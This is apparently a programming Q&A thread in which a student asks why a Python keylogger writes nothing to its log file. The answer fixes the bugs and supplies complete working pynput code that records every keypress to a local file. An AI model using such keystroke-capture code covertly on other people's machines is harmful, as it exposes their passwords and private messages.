pythonkeylogger

Python Keylogger: .txt file won't save my keystrokes


I am creating a keylogger with Python as part of a school project, and I so far enabled my program to record user keystrokes. I want those keystrokes to save to a file called 'log.txt' and I have written the code for it, but the 'log.txt' file, saves nothing and it is just blank.

How can I fix this? Here is my code.

count = 0
keys = [""]

def key_pressed(key):
    global keys, count
    keys = '{0}'.format(key)
    print(keys)
    
    

    if count >= 10:
        count = 0
        log_2_file(keys)
        keys = [""]

def log_2_file(keys):
     with open(file, path + ext + file, "a") as log_file:
         for key in keys:
             log_file(str(key))

def key_released(key):
    if key == keyboard.Key.esc:
        return False


with keyboard.Listener(on_press=key_pressed, on_release=key_released) as loop:
    loop.join()

Your help would be much appreciated, I have no idea where I am going wrong, and coming here is an absolute last resort.

(By the way, I'm coding in IDLE 3.7.0)


Solution

  • You have made several mistakes in your code.

    In the log_2_file function:

    1. with open(file, path + ext + file, "a"). You pass three args to open(...) here. Although open supports more then 2 args, buffering, for instance (see this question and answer), it looks that you have just mixed something up. So I replaced two first args (file, path + ext + file) with just "keylogger.log".
    2. log_file('str(key)'). log_flie is not a function here, it is a file object. It is not callable, and when you are about to write something in it, you should use its .write(something) method instead. You also should add log_file.flush() to be sure that changes appear immediately (not just after you .close() the file, or exit out of the with open(...) as ...: body)
    3. You also should add "\n" after every key when you write it to the file, otherwise everything will be written into one line, without even a space between different keys.
    4. You are setting keys to [""] before you are trying to write a block of 10 keypresses. It's a bad idea, because the first line of the log file is just empty. You have better write the keys to a file and then write a newline.

    In the key_pressed function:

    1. Why do you use {0}.format(key) instead of str(key).
    2. Presumably, you are trying to add the new key to the keys list. But instead you are just setting the keys value to the str(key).
    3. You don't change the count value at all, so it never equal to 10. On the contrary, it is always 0.
    4. It's a bad idea to use count >= 10. Before it is going to be more than 10, it will definitely be 10 and the count will be 0 again. So, use count == 10 instead.

    Here is the updated version of code:

    from pynput import keyboard
    
    
    count, keys = 0, []
    
    def log_2_file(keys):
        with open("keylogger.log", "a") as log_file:
            for key in keys:
                log_file.write(str(key) + "\n")
                log_file.flush()
            log_file.write("\n")
                
    def key_pressed(key):
        global keys, count
    
        keys.append(str(key))
        count += 1
        
        if count == 10:
            log_2_file(keys)
            count, keys = 0, []             
    
    def key_released(key):
        if key == keyboard.Key.esc:
            return False
    
    with keyboard.Listener(on_press=key_pressed, on_release=key_released) as loop:
        loop.join()